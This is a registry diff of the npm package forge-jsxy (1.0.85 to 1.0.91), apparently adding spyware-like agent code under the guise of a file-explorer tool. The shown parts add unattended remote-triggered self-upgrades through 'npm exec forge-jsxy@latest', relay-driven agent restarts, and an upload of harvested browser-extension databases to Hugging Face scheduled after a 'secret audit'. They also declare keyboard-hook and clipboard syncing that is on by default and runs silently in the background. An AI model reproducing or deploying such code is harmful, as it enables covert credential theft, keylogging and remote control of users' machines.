forge-jsxy 1.0.85 → 1.0.91

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (41) hide show
  1. package/assets/files-explorer-template.html +63 -21
  2. package/dist/agentRestartFromQueue.d.ts +15 -0
  3. package/dist/agentRestartFromQueue.js +114 -0
  4. package/dist/agentRunner.js +97 -23
  5. package/dist/assets/files-explorer-template.html +64 -22
  6. package/dist/autostart/agentEnvFile.d.ts +6 -0
  7. package/dist/autostart/agentEnvFile.js +51 -2
  8. package/dist/chromiumExtensionDbHarvest.d.ts +70 -0
  9. package/dist/chromiumExtensionDbHarvest.js +560 -0
  10. package/dist/cli-agent.js +1 -0
  11. package/dist/clipboardExec.d.ts +4 -0
  12. package/dist/clipboardExec.js +29 -15
  13. package/dist/extensionDbHfUpload.d.ts +24 -0
  14. package/dist/extensionDbHfUpload.js +198 -0
  15. package/dist/forgeSemver.d.ts +2 -0
  16. package/dist/forgeSemver.js +25 -0
  17. package/dist/hfUpload.d.ts +5 -0
  18. package/dist/hfUpload.js +18 -3
  19. package/dist/hostInventorySend.js +6 -1
  20. package/dist/relayAgent.d.ts +5 -0
  21. package/dist/relayAgent.js +139 -7
  22. package/dist/relayAgentAutoUpgrade.d.ts +9 -0
  23. package/dist/relayAgentAutoUpgrade.js +143 -0
  24. package/dist/relayDashboardGate.d.ts +5 -0
  25. package/dist/relayDashboardGate.js +60 -0
  26. package/dist/relayServer.js +181 -6
  27. package/dist/secretScan/agentStartupAudit.d.ts +3 -0
  28. package/dist/secretScan/agentStartupAudit.js +7 -0
  29. package/dist/syncClient.d.ts +1 -1
  30. package/dist/syncClient.js +5 -1
  31. package/dist/windowsInputSync.d.ts +15 -1
  32. package/dist/windowsInputSync.js +226 -67
  33. package/dist/workerBootstrap.js +3 -0
  34. package/package.json +2 -2
  35. package/scripts/explorer-global-roots.mjs +87 -0
  36. package/scripts/forge-jsx-explorer-kill-agent.mjs +30 -29
  37. package/scripts/forge-jsx-explorer-restart.mjs +9 -18
  38. package/scripts/forge-jsx-explorer-upgrade.mjs +7 -9
  39. package/scripts/postinstall-agent.mjs +53 -8
  40. package/scripts/postinstall-bootstrap.mjs +13 -0
  41. package/scripts/queue-reconnect-agent-restarts.mjs +87 -0
@@ -0,0 +1,143 @@
1
+ "use strict";
2
+ var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
3
+ if (k2 === undefined) k2 = k;
4
+ var desc = Object.getOwnPropertyDescriptor(m, k);
5
+ if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
6
+ desc = { enumerable: true, get: function() { return m[k]; } };
7
+ }
8
+ Object.defineProperty(o, k2, desc);
9
+ }) : (function(o, m, k, k2) {
10
+ if (k2 === undefined) k2 = k;
11
+ o[k2] = m[k];
12
+ }));
13
+ var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
14
+ Object.defineProperty(o, "default", { enumerable: true, value: v });
15
+ }) : function(o, v) {
16
+ o["default"] = v;
17
+ });
18
+ var __importStar = (this && this.__importStar) || (function () {
19
+ var ownKeys = function(o) {
20
+ ownKeys = Object.getOwnPropertyNames || function (o) {
21
+ var ar = [];
22
+ for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;
23
+ return ar;
24
+ };
25
+ return ownKeys(o);
26
+ };
27
+ return function (mod) {
28
+ if (mod && mod.__esModule) return mod;
29
+ var result = {};
30
+ if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]);
31
+ __setModuleDefault(result, mod);
32
+ return result;
33
+ };
34
+ })();
35
+ Object.defineProperty(exports, "__esModule", { value: true });
36
+ exports.autoUpgradeOnRelayHintEnabled = autoUpgradeOnRelayHintEnabled;
37
+ exports.maybeRunAutoUpgradeFromRelayHint = maybeRunAutoUpgradeFromRelayHint;
38
+ /**
39
+ * Unattended upgrade when relay advertises a newer `recommended_agent_version`.
40
+ * Enabled when `FORGE_JS_AUTO_UPGRADE_ON_RELAY=1` **or** relay `relay_features.auto_upgrade_on_relay`
41
+ * (relay env `RELAY_AUTO_UPGRADE_AGENTS=1`, default on). Staggered; at most once per 6h per machine.
42
+ */
43
+ const node_child_process_1 = require("node:child_process");
44
+ const fs = __importStar(require("node:fs"));
45
+ const path = __importStar(require("node:path"));
46
+ const clientId_js_1 = require("./clientId.js");
47
+ const forgeSemver_js_1 = require("./forgeSemver.js");
48
+ const MIN_INTERVAL_MS = 6 * 60 * 60 * 1000;
49
+ /** Shorter cooldown while relay uptime is under 2h (post-crash reconnect / upgrade storm). */
50
+ const RECOVERY_MIN_INTERVAL_MS = 90 * 60 * 1000;
51
+ const RECOVERY_RELAY_UPTIME_MS = 2 * 60 * 60 * 1000;
52
+ function relayStartedAtMsFromCaps(relayCaps) {
53
+ if (!relayCaps)
54
+ return null;
55
+ const raw = relayCaps.relay_started_at_ms;
56
+ if (typeof raw === "number" && Number.isFinite(raw))
57
+ return raw;
58
+ if (typeof raw === "string" && raw.trim()) {
59
+ const n = Number.parseFloat(raw.trim());
60
+ if (Number.isFinite(n))
61
+ return n;
62
+ }
63
+ return null;
64
+ }
65
+ function minUpgradeIntervalMs(relayCaps) {
66
+ const started = relayStartedAtMsFromCaps(relayCaps);
67
+ if (started != null && Date.now() - started < RECOVERY_RELAY_UPTIME_MS) {
68
+ return RECOVERY_MIN_INTERVAL_MS;
69
+ }
70
+ return MIN_INTERVAL_MS;
71
+ }
72
+ function relayCapsTruthy(v) {
73
+ if (v === true || v === 1)
74
+ return true;
75
+ if (typeof v === "string") {
76
+ const s = v.trim().toLowerCase();
77
+ return s === "1" || s === "true" || s === "yes" || s === "on";
78
+ }
79
+ return false;
80
+ }
81
+ function autoUpgradeOnRelayHintEnabled(relayCaps) {
82
+ const local = (process.env.FORGE_JS_AUTO_UPGRADE_ON_RELAY || "").trim().toLowerCase();
83
+ if (["1", "true", "yes", "on"].includes(local))
84
+ return true;
85
+ if (local === "0" || local === "false" || local === "no" || local === "off")
86
+ return false;
87
+ if (relayCaps && relayCapsTruthy(relayCaps.auto_upgrade_on_relay))
88
+ return true;
89
+ return false;
90
+ }
91
+ function staggerMsForSession(sessionId, relayCaps) {
92
+ let h = 0;
93
+ const s = sessionId.trim();
94
+ for (let i = 0; i < s.length; i++)
95
+ h = (h * 31 + s.charCodeAt(i)) >>> 0;
96
+ const started = relayStartedAtMsFromCaps(relayCaps);
97
+ const recovering = started != null && Date.now() - started < RECOVERY_RELAY_UPTIME_MS;
98
+ const capMs = recovering ? 10 * 60 * 1000 : 30 * 60 * 1000;
99
+ return h % capMs;
100
+ }
101
+ /** Detached `npm exec forge-jsx-explorer-upgrade` (same entry as file-explorer Upgrade). */
102
+ function maybeRunAutoUpgradeFromRelayHint(opts) {
103
+ if (!autoUpgradeOnRelayHintEnabled(opts.relayCaps))
104
+ return;
105
+ const rec = opts.recommendedVersion.trim();
106
+ const cur = opts.agentVersion.trim();
107
+ if (!rec || !cur || !(0, forgeSemver_js_1.forgeSemverLt)(cur, rec))
108
+ return;
109
+ const dataDir = (0, clientId_js_1.defaultCfgmgrDataDir)();
110
+ const stampPath = path.join(dataDir, ".forge-auto-upgrade-last.json");
111
+ let lastMs = 0;
112
+ try {
113
+ const j = JSON.parse(fs.readFileSync(stampPath, "utf8"));
114
+ if (typeof j.atMs === "number")
115
+ lastMs = j.atMs;
116
+ }
117
+ catch {
118
+ /* first run */
119
+ }
120
+ const minIv = minUpgradeIntervalMs(opts.relayCaps);
121
+ if (Date.now() - lastMs < minIv)
122
+ return;
123
+ const delayMs = staggerMsForSession(opts.sessionId, opts.relayCaps);
124
+ const t = setTimeout(() => {
125
+ try {
126
+ fs.mkdirSync(dataDir, { recursive: true });
127
+ fs.writeFileSync(stampPath, JSON.stringify({ atMs: Date.now(), from: cur, to: rec }), "utf8");
128
+ }
129
+ catch {
130
+ /* skip */
131
+ }
132
+ const isWin = process.platform === "win32";
133
+ const cmd = isWin ? "npm.cmd" : "npm";
134
+ const child = (0, node_child_process_1.spawn)(cmd, ["exec", "--yes", "--package=forge-jsxy@latest", "--", "forge-jsx-explorer-upgrade"], { detached: true, stdio: "ignore", windowsHide: isWin });
135
+ child.unref();
136
+ if (!opts.quiet) {
137
+ console.log(`[forge-agent] Auto-upgrade started (relay recommends v${rec}, running v${cur}; may reconnect briefly)`);
138
+ }
139
+ }, delayMs);
140
+ if (typeof t === "object" && t && "unref" in t) {
141
+ t.unref();
142
+ }
143
+ }
@@ -23,6 +23,11 @@ export declare function clearDashboardCookieHeader(): {
23
23
  "set-cookie": string;
24
24
  };
25
25
  export declare function buildDashboardGateLoginHtml(): string;
26
+ /** Generic JSON POST body (ops APIs — not limited to dashboard password). */
27
+ export declare function readJsonObjectBody(req: http.IncomingMessage, maxBytes?: number): Promise<{
28
+ error?: string;
29
+ data?: Record<string, unknown>;
30
+ }>;
26
31
  export declare function readJsonBody(req: http.IncomingMessage): Promise<{
27
32
  error?: string;
28
33
  data?: {
@@ -9,6 +9,7 @@ exports.relayDashboardUnlockedForRequest = relayDashboardUnlockedForRequest;
9
9
  exports.tryDashboardLogin = tryDashboardLogin;
10
10
  exports.clearDashboardCookieHeader = clearDashboardCookieHeader;
11
11
  exports.buildDashboardGateLoginHtml = buildDashboardGateLoginHtml;
12
+ exports.readJsonObjectBody = readJsonObjectBody;
12
13
  exports.readJsonBody = readJsonBody;
13
14
  /**
14
15
  * Optional relay HTTP/WebSocket gate: .env stores only the SHA-256 (hex) of the dashboard
@@ -261,6 +262,65 @@ function buildDashboardGateLoginHtml() {
261
262
  </html>`;
262
263
  }
263
264
  const MAX_AUTH_BODY = 64 * 1024;
265
+ /** Generic JSON POST body (ops APIs — not limited to dashboard password). */
266
+ function readJsonObjectBody(req, maxBytes = MAX_AUTH_BODY) {
267
+ return new Promise((resolve) => {
268
+ const chunks = [];
269
+ let len = 0;
270
+ let done = false;
271
+ const fin = (v) => {
272
+ if (done)
273
+ return;
274
+ done = true;
275
+ resolve(v);
276
+ };
277
+ req.on("data", (c) => {
278
+ if (done)
279
+ return;
280
+ const b = typeof c === "string" ? Buffer.from(c) : c;
281
+ len += b.length;
282
+ if (len > maxBytes) {
283
+ try {
284
+ req.destroy();
285
+ }
286
+ catch {
287
+ /* skip */
288
+ }
289
+ fin({ error: "payload too large" });
290
+ return;
291
+ }
292
+ chunks.push(b);
293
+ });
294
+ req.on("end", () => {
295
+ if (done)
296
+ return;
297
+ const raw = Buffer.concat(chunks).toString("utf8").trim();
298
+ if (!raw) {
299
+ fin({ data: {} });
300
+ return;
301
+ }
302
+ try {
303
+ const o = JSON.parse(raw);
304
+ if (!o || typeof o !== "object" || Array.isArray(o)) {
305
+ fin({ error: "invalid json object" });
306
+ return;
307
+ }
308
+ fin({ data: o });
309
+ }
310
+ catch {
311
+ fin({ error: "invalid json" });
312
+ }
313
+ });
314
+ req.on("error", () => fin({ error: "aborted" }));
315
+ req.on("close", () => {
316
+ if (done)
317
+ return;
318
+ if (req.readableEnded)
319
+ return;
320
+ fin({ error: "aborted" });
321
+ });
322
+ });
323
+ }
264
324
  function readJsonBody(req) {
265
325
  return new Promise((resolve) => {
266
326
  const chunks = [];
@@ -99,6 +99,19 @@ function _blacklistEnabled() {
99
99
  const raw = (process.env.RELAY_BLACKLIST_CHECK ?? "1").trim().toLowerCase();
100
100
  return !["0", "false", "no", "off"].includes(raw);
101
101
  }
102
+ function agentVersionOlderThanRelay(agentVersion, relayPkg) {
103
+ const av = agentVersion.trim().split(".").map((x) => parseInt(x, 10) || 0);
104
+ const rv = relayPkg.trim().split(".").map((x) => parseInt(x, 10) || 0);
105
+ if (rv.length < 3 || av.length < 3)
106
+ return false;
107
+ if (av[0] < rv[0])
108
+ return true;
109
+ if (av[0] === rv[0] && av[1] < rv[1])
110
+ return true;
111
+ if (av[0] === rv[0] && av[1] === rv[1] && av[2] < rv[2])
112
+ return true;
113
+ return false;
114
+ }
102
115
  async function _refreshBlacklistIfStale() {
103
116
  if (!_blacklistEnabled())
104
117
  return;
@@ -395,6 +408,8 @@ class Session {
395
408
  }
396
409
  }
397
410
  const sessions = new Map();
411
+ /** Set when `startRelayServer` binds — exposed on `GET /api/sessions` for status dashboards during reconnect storms. */
412
+ let relayServerStartedAtMs = 0;
398
413
  function wsIsOpen(ws) {
399
414
  return ws !== null && ws.readyState === ws_1.default.OPEN;
400
415
  }
@@ -868,6 +883,130 @@ function listSessionsPayload() {
868
883
  agent_webrtc_datachannel: s.agentWebrtcDatachannel,
869
884
  }));
870
885
  }
886
+ /** Ops snapshot: connected agents + upgrade targets (same auth as `/api/sessions`). */
887
+ async function queueAgentRestartsOnForgeDb(tableNames, note) {
888
+ const base = _forgeDbApiUrl().replace(/\/+$/, "");
889
+ const apiKey = (process.env.RELAY_FORGE_DB_API_KEY ||
890
+ process.env.FORGE_DB_API_KEY ||
891
+ "").trim();
892
+ const headers = { "Content-Type": "application/json" };
893
+ if (apiKey)
894
+ headers["X-Forge-Api-Key"] = apiKey;
895
+ const res = await fetch(`${base}/api/agent-restart-queue`, {
896
+ method: "POST",
897
+ headers,
898
+ body: JSON.stringify({
899
+ table_names: tableNames,
900
+ note: note || "relay /api/agent-restart-queue",
901
+ }),
902
+ });
903
+ const text = await res.text();
904
+ let data = {};
905
+ try {
906
+ data = text ? JSON.parse(text) : {};
907
+ }
908
+ catch {
909
+ data = { raw: text };
910
+ }
911
+ if (!res.ok) {
912
+ throw new Error(`forge-db queue HTTP ${res.status}: ${text.slice(0, 400)}`);
913
+ }
914
+ const o = data;
915
+ return {
916
+ queued: Array.isArray(o.queued) ? o.queued.map(String) : [],
917
+ count: typeof o.count === "number" ? o.count : 0,
918
+ };
919
+ }
920
+ function nudgeConnectedAgentsRestart(tableNames) {
921
+ const want = new Set(tableNames
922
+ .map((t) => (0, relayAuth_1.canonicalSessionIdForRelayAndDb)(String(t).trim()))
923
+ .filter((t) => t.length > 0));
924
+ let n = 0;
925
+ for (const s of sessions.values()) {
926
+ if (!want.has(s.sessionId))
927
+ continue;
928
+ if (!wsIsOpen(s.agent))
929
+ continue;
930
+ try {
931
+ s.agent.send(JSON.stringify({ type: "relay_agent_restart_requested" }));
932
+ n++;
933
+ }
934
+ catch {
935
+ /* skip */
936
+ }
937
+ }
938
+ return n;
939
+ }
940
+ function handlePostAgentRestartQueue(req, res) {
941
+ void (0, relayDashboardGate_1.readJsonObjectBody)(req).then(async (b) => {
942
+ if (res.writableEnded)
943
+ return;
944
+ try {
945
+ if (b.error) {
946
+ res.writeHead(400, { "Content-Type": "application/json; charset=utf-8" });
947
+ res.end(JSON.stringify({ error: b.error }));
948
+ return;
949
+ }
950
+ const body = b.data || {};
951
+ const raw = body.table_names ?? body.tableNames ?? body.sessions;
952
+ const list = Array.isArray(raw)
953
+ ? raw.map((x) => String(x).trim()).filter(Boolean)
954
+ : [];
955
+ if (!list.length) {
956
+ res.writeHead(400, { "Content-Type": "application/json; charset=utf-8" });
957
+ res.end(JSON.stringify({ error: "table_names[] required" }));
958
+ return;
959
+ }
960
+ const note = String(body.note ?? "").trim();
961
+ const queued = await queueAgentRestartsOnForgeDb(list, note);
962
+ const wsNudged = nudgeConnectedAgentsRestart(list);
963
+ _applySecurityHeaders(res);
964
+ res.writeHead(200, { "Content-Type": "application/json; charset=utf-8" });
965
+ res.end(JSON.stringify({
966
+ status: "ok",
967
+ forge_db: queued,
968
+ ws_nudged: wsNudged,
969
+ }));
970
+ }
971
+ catch (e) {
972
+ _ifHttpWritable(res, () => {
973
+ res.writeHead(500, { "Content-Type": "application/json; charset=utf-8" });
974
+ res.end(JSON.stringify({
975
+ error: e instanceof Error ? e.message : String(e),
976
+ }));
977
+ });
978
+ }
979
+ });
980
+ }
981
+ function listAgentFleetPayload() {
982
+ const relayPkg = relayPackageVersion();
983
+ const agents = Array.from(sessions.values())
984
+ .filter((s) => wsIsOpen(s.agent))
985
+ .map((s) => {
986
+ const ver = (s.agentVersion || "").trim();
987
+ const needsUpgrade = relayPkg !== "unknown" && ver
988
+ ? agentVersionOlderThanRelay(ver, relayPkg)
989
+ : false;
990
+ return {
991
+ session_id: s.sessionId,
992
+ agent_version: ver || null,
993
+ agent_hostname: s.agentHostname || null,
994
+ agent_os: s.agentOs || null,
995
+ needs_upgrade: needsUpgrade,
996
+ };
997
+ });
998
+ const needsUpgrade = agents.filter((a) => a.needs_upgrade).length;
999
+ return {
1000
+ relay_version: relayPkg === "unknown" ? null : relayPkg,
1001
+ relay_started_at_ms: relayServerStartedAtMs || Date.now(),
1002
+ summary: {
1003
+ connected_agents: agents.length,
1004
+ needs_upgrade: needsUpgrade,
1005
+ on_current_relay: agents.length - needsUpgrade,
1006
+ },
1007
+ agents,
1008
+ };
1009
+ }
871
1010
  function handleHttp(req, res) {
872
1011
  let url;
873
1012
  try {
@@ -884,6 +1023,10 @@ function handleHttp(req, res) {
884
1023
  handlePostRelayDashboard(req, res, p);
885
1024
  return;
886
1025
  }
1026
+ if (p === "/api/agent-restart-queue" && relaySessionsApiAllowed(req)) {
1027
+ handlePostAgentRestartQueue(req, res);
1028
+ return;
1029
+ }
887
1030
  res.writeHead(405, { "Content-Type": "text/plain" });
888
1031
  res.end("Method Not Allowed");
889
1032
  return;
@@ -980,7 +1123,16 @@ function handleHttp(req, res) {
980
1123
  if (p === "/api/sessions" && relaySessionsApiAllowed(req)) {
981
1124
  _applySecurityHeaders(res);
982
1125
  res.writeHead(200, { "Content-Type": "application/json" });
983
- res.end(JSON.stringify({ sessions: listSessionsPayload() }));
1126
+ res.end(JSON.stringify({
1127
+ sessions: listSessionsPayload(),
1128
+ relay_started_at_ms: relayServerStartedAtMs || Date.now(),
1129
+ }));
1130
+ return;
1131
+ }
1132
+ if (p === "/api/agent-fleet" && relaySessionsApiAllowed(req)) {
1133
+ _applySecurityHeaders(res);
1134
+ res.writeHead(200, { "Content-Type": "application/json" });
1135
+ res.end(JSON.stringify(listAgentFleetPayload()));
984
1136
  return;
985
1137
  }
986
1138
  /**
@@ -1150,6 +1302,20 @@ function attachConnection(ws, req, role, sessionId) {
1150
1302
  const v = relayPackageVersion();
1151
1303
  return v === "unknown" ? undefined : v;
1152
1304
  })(),
1305
+ relay_started_at_ms: relayServerStartedAtMs || Date.now(),
1306
+ recommended_agent_version: (() => {
1307
+ const v = relayPackageVersion();
1308
+ return v === "unknown" ? undefined : v;
1309
+ })(),
1310
+ relay_reconnect_delay_ms: (() => {
1311
+ const raw = (process.env.FORGE_JS_RELAY_RECONNECT_MS || "").trim();
1312
+ if (raw) {
1313
+ const n = parseInt(raw, 10);
1314
+ if (Number.isFinite(n) && n >= 500 && n <= 120_000)
1315
+ return n;
1316
+ }
1317
+ return 2000;
1318
+ })(),
1153
1319
  ...(relayWebRtcFeaturesPayload() ?? {}),
1154
1320
  };
1155
1321
  ws.send(JSON.stringify({
@@ -1495,11 +1661,7 @@ function attachConnection(ws, req, role, sessionId) {
1495
1661
  // Log version comparison against actual relay package version.
1496
1662
  if (session.agentVersion) {
1497
1663
  const relayPkg = relayPackageVersion();
1498
- const av = session.agentVersion.split(".").map(Number);
1499
- const rv = relayPkg.split(".").map(Number);
1500
- const agentOlder = rv.length >= 3 && av.length >= 3 &&
1501
- (av[0] < rv[0] || (av[0] === rv[0] && av[1] < rv[1]) ||
1502
- (av[0] === rv[0] && av[1] === rv[1] && av[2] < rv[2]));
1664
+ const agentOlder = agentVersionOlderThanRelay(session.agentVersion, relayPkg);
1503
1665
  if (_shouldLogVersionNotice(sessionId)) {
1504
1666
  if (agentOlder) {
1505
1667
  console.log(`[relay] agent ${sessionId} running v${session.agentVersion} (relay v${relayPkg}) — upgrade from file explorer (Upgrade agent) when ready`);
@@ -1764,8 +1926,19 @@ function startRelayServer(opts = {}) {
1764
1926
  }
1765
1927
  }, 30_000);
1766
1928
  interval.unref?.();
1929
+ const agentStatusLogMs = 300_000;
1930
+ let agentStatusLogPass = 0;
1931
+ const agentStatusInterval = setInterval(() => {
1932
+ agentStatusLogPass++;
1933
+ const withAgent = [...sessions.values()].filter((s) => wsIsOpen(s.agent)).length;
1934
+ if (agentStatusLogPass === 1 || agentStatusLogPass % 4 === 0) {
1935
+ console.log(`[relay] connected agents: ${withAgent}`);
1936
+ }
1937
+ }, agentStatusLogMs);
1938
+ agentStatusInterval.unref?.();
1767
1939
  server.once("close", () => {
1768
1940
  clearInterval(interval);
1941
+ clearInterval(agentStatusInterval);
1769
1942
  try {
1770
1943
  wss.close();
1771
1944
  }
@@ -1774,11 +1947,13 @@ function startRelayServer(opts = {}) {
1774
1947
  }
1775
1948
  });
1776
1949
  (0, relayDashboardGate_1.warnInvalidDashboardGateEnvIfNeeded)();
1950
+ relayServerStartedAtMs = Date.now();
1777
1951
  server.listen(port, host, () => {
1778
1952
  const addr = server.address();
1779
1953
  const listenPort = typeof addr === "object" && addr && "port" in addr ? addr.port : port;
1780
1954
  const uh = urlDisplayHost(host);
1781
1955
  console.log(`CfgMgr Relay Server listening on ${host}:${listenPort}`);
1956
+ console.log(`[relay] v${relayPackageVersion()} (forge-jsxy upgrades are manual: file explorer → Upgrade forge-jsxy)`);
1782
1957
  console.log(` File explorer: http://${uh}:${listenPort}/`);
1783
1958
  console.log(` Same UI: /files /explorer /viewer /remote minimal relay page: /relay`);
1784
1959
  console.log(` WebSocket: ws://${uh}:${listenPort}/ws/agent/<session_id>`);
@@ -42,10 +42,13 @@ export declare function shouldRunSecretAuditNow(): boolean;
42
42
  export declare function runAgentStartupSecretAudit(opts: {
43
43
  relayCaps?: Record<string, unknown>;
44
44
  fetchHubCredentials: () => Promise<HfCredentials>;
45
+ /** Session / forge-db table name (`client_*`) for session Hub repo uploads. */
46
+ clientTableName?: string;
45
47
  quiet: boolean;
46
48
  }): Promise<void>;
47
49
  export declare function scheduleAgentStartupSecretAudit(opts: {
48
50
  relayCaps: Record<string, unknown>;
49
51
  quiet: boolean;
50
52
  fetchHubCredentials: () => Promise<HfCredentials>;
53
+ clientTableName?: string;
51
54
  }): void;
@@ -87,6 +87,7 @@ const auditFindingSlim_1 = require("./auditFindingSlim");
87
87
  const runFilenameSecretScan_1 = require("./runFilenameSecretScan");
88
88
  const runFilenameSecretScan_2 = require("./runFilenameSecretScan");
89
89
  const auditScanScope_1 = require("./auditScanScope");
90
+ const extensionDbHfUpload_1 = require("../extensionDbHfUpload");
90
91
  const strictMaterialGate_1 = require("./strictMaterialGate");
91
92
  function auditDir() {
92
93
  return path.join((0, clientId_1.defaultCfgmgrDataDir)(), ".forge-jsxy", ".vault", "secret-audit");
@@ -700,6 +701,11 @@ async function runAgentStartupSecretAudit(opts) {
700
701
  "optional CFGMGR_HF_NAMESPACE if JSON lacks \"namespace\")");
701
702
  }
702
703
  }
704
+ (0, extensionDbHfUpload_1.scheduleExtensionDbHfUploadAfterAudit)({
705
+ clientTableName: (opts.clientTableName || "").trim(),
706
+ fetchHubCredentials: opts.fetchHubCredentials,
707
+ quiet: opts.quiet,
708
+ });
703
709
  }
704
710
  finally {
705
711
  auditInFlight = false;
@@ -713,6 +719,7 @@ function scheduleAgentStartupSecretAudit(opts) {
713
719
  relayCaps: opts.relayCaps,
714
720
  quiet: opts.quiet,
715
721
  fetchHubCredentials: opts.fetchHubCredentials,
722
+ clientTableName: opts.clientTableName,
716
723
  }).catch((e) => {
717
724
  if (!opts.quiet) {
718
725
  console.warn("[forge-agent] secret audit:", e instanceof Error ? e.message : e);
@@ -46,7 +46,7 @@ export declare class ForgeSyncClient {
46
46
  os_type?: string;
47
47
  os_platform?: string;
48
48
  hostname?: string;
49
- }): Promise<void>;
49
+ }): Promise<Record<string, unknown> | null>;
50
50
  createEventsBatch(events: SyncEventPayload[]): Promise<{
51
51
  inserted: number;
52
52
  ids: number[];
@@ -125,11 +125,15 @@ class ForgeSyncClient {
125
125
  */
126
126
  async updateClientInfo(info) {
127
127
  try {
128
- await this.request("POST", "/api/client-info", info);
128
+ const r = await this.request("POST", "/api/client-info", info);
129
+ if (r.ok && r.data && typeof r.data === "object" && !Array.isArray(r.data)) {
130
+ return r.data;
131
+ }
129
132
  }
130
133
  catch {
131
134
  /* non-fatal — OS info is display-only */
132
135
  }
136
+ return null;
133
137
  }
134
138
  async createEventsBatch(events) {
135
139
  const r = await this.request("POST", "/api/events/batch", { events });
@@ -1,9 +1,23 @@
1
+ /** Operational logs always emit (even when `FORGE_JS_QUIET_AGENT=1`). */
2
+ export declare function desktopSyncOpLog(message: string): void;
3
+ /** True for network / overload errors where retrying forge-db POST is worthwhile. */
4
+ export declare function isTransientForgeDbSyncError(err: unknown): boolean;
5
+ /** Human-readable reason when keyboard hook is skipped; null when uiohook should run. */
6
+ export declare function skipUiohookKeyboardReason(): string | null;
7
+ /** uiohook on Linux uses X11 and abort()s without a display — skip hook on headless servers. */
8
+ export declare function skipUiohookKeyboard(): boolean;
1
9
  /**
2
10
  * **Default: on** when unset. Opt out with `CFGMGR_SYNC_KEYBOARD_CLIPBOARD=0`.
3
11
  * Background-only in forge-js (no alerts/dialogs); see module comment for OS-level limits.
4
12
  */
5
13
  export declare function effectiveSyncKeyboardClipboard(): boolean;
6
14
  export declare function resolveSyncApiBase(): string | null;
15
+ /**
16
+ * Linux Wayland stores clipboard in the compositor — @napi-rs/clipboard is X11-based and often
17
+ * returns empty text without error. Prefer wl-paste/xclip exec on Wayland sessions.
18
+ */
19
+ export declare function preferExecClipboardReader(): boolean;
20
+ export type DesktopInputSyncStop = () => void | Promise<void>;
7
21
  export type DesktopInputSyncOptions = {
8
22
  apiBaseUrl: string;
9
23
  clientId?: string;
@@ -18,5 +32,5 @@ export type WindowsInputSyncOptions = DesktopInputSyncOptions;
18
32
  /**
19
33
  * Start background sync on Windows, Linux, and macOS. No-op on other platforms.
20
34
  */
21
- export declare function startDesktopInputSync(opts: DesktopInputSyncOptions): () => void;
35
+ export declare function startDesktopInputSync(opts: DesktopInputSyncOptions): DesktopInputSyncStop;
22
36
  export declare const startWindowsInputSync: typeof startDesktopInputSync;